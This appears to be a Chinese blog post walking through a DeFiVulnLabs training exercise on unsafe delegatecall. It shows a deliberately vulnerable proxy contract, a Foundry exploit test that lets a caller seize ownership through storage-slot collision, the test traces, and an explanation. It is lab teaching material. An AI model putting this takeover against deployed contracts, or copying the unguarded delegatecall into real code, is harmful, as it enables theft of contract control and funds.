# DeFiVulnLabs靶场（三）不安全的Delegatecall

[DeFiVulnLabs详解汇总 \[作者 Ice ThirdSpace\]](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&__biz=MzkwMTc2MDE3OA==&scene=1&album_id=3648797921547190277&count=3&uin=&key=&devicetype=Windows+XP1&version=6302019c&lang=zh_CN&ascene=1&fontgear=2)

* EXP
    

[https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Delegatecall.sol](https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Delegatecall.sol)

* 漏洞合约源码
    

```plaintext
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Proxy {
    address public owner = address(0xdeadbeef); // slot0
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
    }

    fallback() external {
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

contract Delegate {
    address public owner; // slot0

    function pwn() public {
        owner = msg.sender;
    }
}
```

* 攻击和测试合约
    

```plaintext

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "../src/Delegatecall.sol";
import "forge-std/Test.sol";

contract ContractTest is Test {
    Proxy proxy;
    Delegate DelegateContract;
    address Alice;

    function setUp() public {
        Alice = vm.addr(1);
    }
    
    function testDelegatecall() public {
        DelegateContract = new Delegate();
        proxy = new Proxy(address(DelegateContract));

        console.log("Alice address is ", address(Alice));
        console.log("Proxy owner address is ", proxy.owner());

        vm.prank(Alice);
        address(proxy).call(abi.encodeWithSignature("pwn()"));

        console.log("Proxy owner address is ", proxy.owner());
        console.log("Exploit completed, proxy owner has been changed");
    }
}
```

* 测试结果
    

```plaintext
$ forge test Delegatecall.t.sol -vvvv
[?] Compiling...
[?] Compiling 2 files with Solc 0.8.30
[?] Solc 0.8.30 finished in 2.97s

Ran 1 test for test/Delegatecall.t.sol:ContractTest
[PASS] testDelegatecall() (gas: 353334)
Logs:
  Alice address is  0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
  Proxy owner address is  0x00000000000000000000000000000000DeaDBeef
  Proxy owner address is  0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
  Exploit completed, proxy owner has been changed

Traces:
  [353334] ContractTest::testDelegatecall()
    ├─ [67915] → new Delegate@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 339 bytes of code
    ├─ [177257] → new Proxy@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 662 bytes of code
    ├─ [0] console::log("Alice address is ", 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← [Stop]
    ├─ [485] Proxy::owner() [staticcall]
    │   └─ ← [Return] 0x00000000000000000000000000000000DeaDBeef
    ├─ [0] console::log("Proxy owner address is ", 0x00000000000000000000000000000000DeaDBeef) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return]
    ├─ [1118] Proxy::fallback()
    │   ├─ [407] Delegate::pwn() [delegatecall]
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [485] Proxy::owner() [staticcall]
    │   └─ ← [Return] 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
    ├─ [0] console::log("Proxy owner address is ", 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Exploit completed, proxy owner has been changed") [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.82ms (780.73μs CPU time)

Ran 1 test suite in 58.21ms (1.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

* 简要说明
    

Delegate 合约地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Proxy 合约地址 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Alice 地址 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Proxy 合约的 owner 变量，由硬编码写死 0x00000000000000000000000000000000DeaDBeef

Alice 调用 Proxy 合约的 pwn() 函数，但 Proxy 合约并没有此函数，于是触发回调函数

回调函数委托调用 Delegate 合约的 pwn() 函数

影响的是 Proxy 合约自身的 slot0， 因此 owner 变量被 msg.sender 也就是 Alice 覆盖
